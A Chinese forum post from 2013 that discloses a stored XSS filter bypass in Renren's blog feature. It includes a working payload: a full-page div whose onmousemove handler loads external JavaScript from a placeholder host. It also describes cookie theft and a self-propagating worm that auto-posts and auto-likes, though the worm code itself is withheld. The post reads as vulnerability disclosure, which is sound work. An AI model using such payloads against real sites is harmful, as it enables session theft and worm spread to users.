灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:4449回复:0

人人网日志存储型XSS 绕过过滤器

楼主#
更多 发布于:2013-01-06 21:41
   作者:Duking
发个人人网的日志存储型XSS,可以加载外部JS,获取Cookies,自动发日志传播XSS代码。小范围测试了蠕虫。危害比较严重。

日志发布时候通过Chrome的审查元素直接编辑HTML代码,或者通过burpsuite改包就可以发布HTML格式的数据。可是发现过滤的比较严,通过一大堆测试样本黑盒测试后发现了侧漏。经过好长时间的筛选找打了绕过过滤器的地方,诡异的很。到现在还很郁闷人人的过滤器到底是个什么机制。

图片:20130105112307321.jpg


XSS测试代码只要加上
<a href="http:// www.atcpu.com/gv"> </a>
这个标签XSS过滤器就完全失效。后面的gv是必须的,中间也可加字符,比如g__v g.....v 等等可能是通过正则提取来判断的,黑盒测试结果。。。不明真相,很是郁闷。
比如:
以下代码被过滤
<script>alert(/xss/);</script>

以下代码可以绕过过滤器
<script>alert(/xss/);</script>
<ahref="http://www.test.com/gv"> </a>

是不是很奇葩?
但是如果直接加入script标签,script标签里面的数据会被注释掉.

图片:20130105112308287.jpg



于是使用img 的onerror事件 发现居然过滤掉了 说明在这一层还有过滤的
添加了个DIV设置长宽为100% 使用onmousemove行为来触发XSS.
最终利用代码如下
<div style="height:100%;width:100%;z-index:10;position:absolute; left:0px; top:0px;"id="Nietzsche"
onmousemove="varscript=document.createElement('SCRIPT');script.setAttribute('type','text/javascript');script.setAttribute('src','http://xxxxxx.com/xss-test/renren/test.js');document.getElementsByTagName('head')[0].appendChild(script);">
<ahref="http://www.test.com/gv"> </a>
</div>


之后想干什么都可以了。。比如妹纸信息什么的。。
后来和@Drizzle.Risk一起研究了下发日志的功能,发日志时需要验证token,要先获得token。然后@Drizzle.Risk就写了个蠕虫,之前在wooyun看过有人发人人的蠕虫被删账号的,怕怕。就小范围测试了下。可以自动发日志传播XSS代码,标记日志为喜欢。
JS代码就不发上来了
弹窗长的都一样

图片:20130105112309109.jpg


测试下蠕虫
只要放个图片,基本上都会点的吧
点击之后。就可以自动喜欢该日志以及发表新XSS日志。



图片:20130105112309542.jpg


图片:20130105112310340.jpg



 最后发个福利。。贴个大图

修复方案:
过滤器的规则貌似有点问题。 具体还是交给人人的大牛分析吧。。

喜欢0 评分0
游客

返回顶部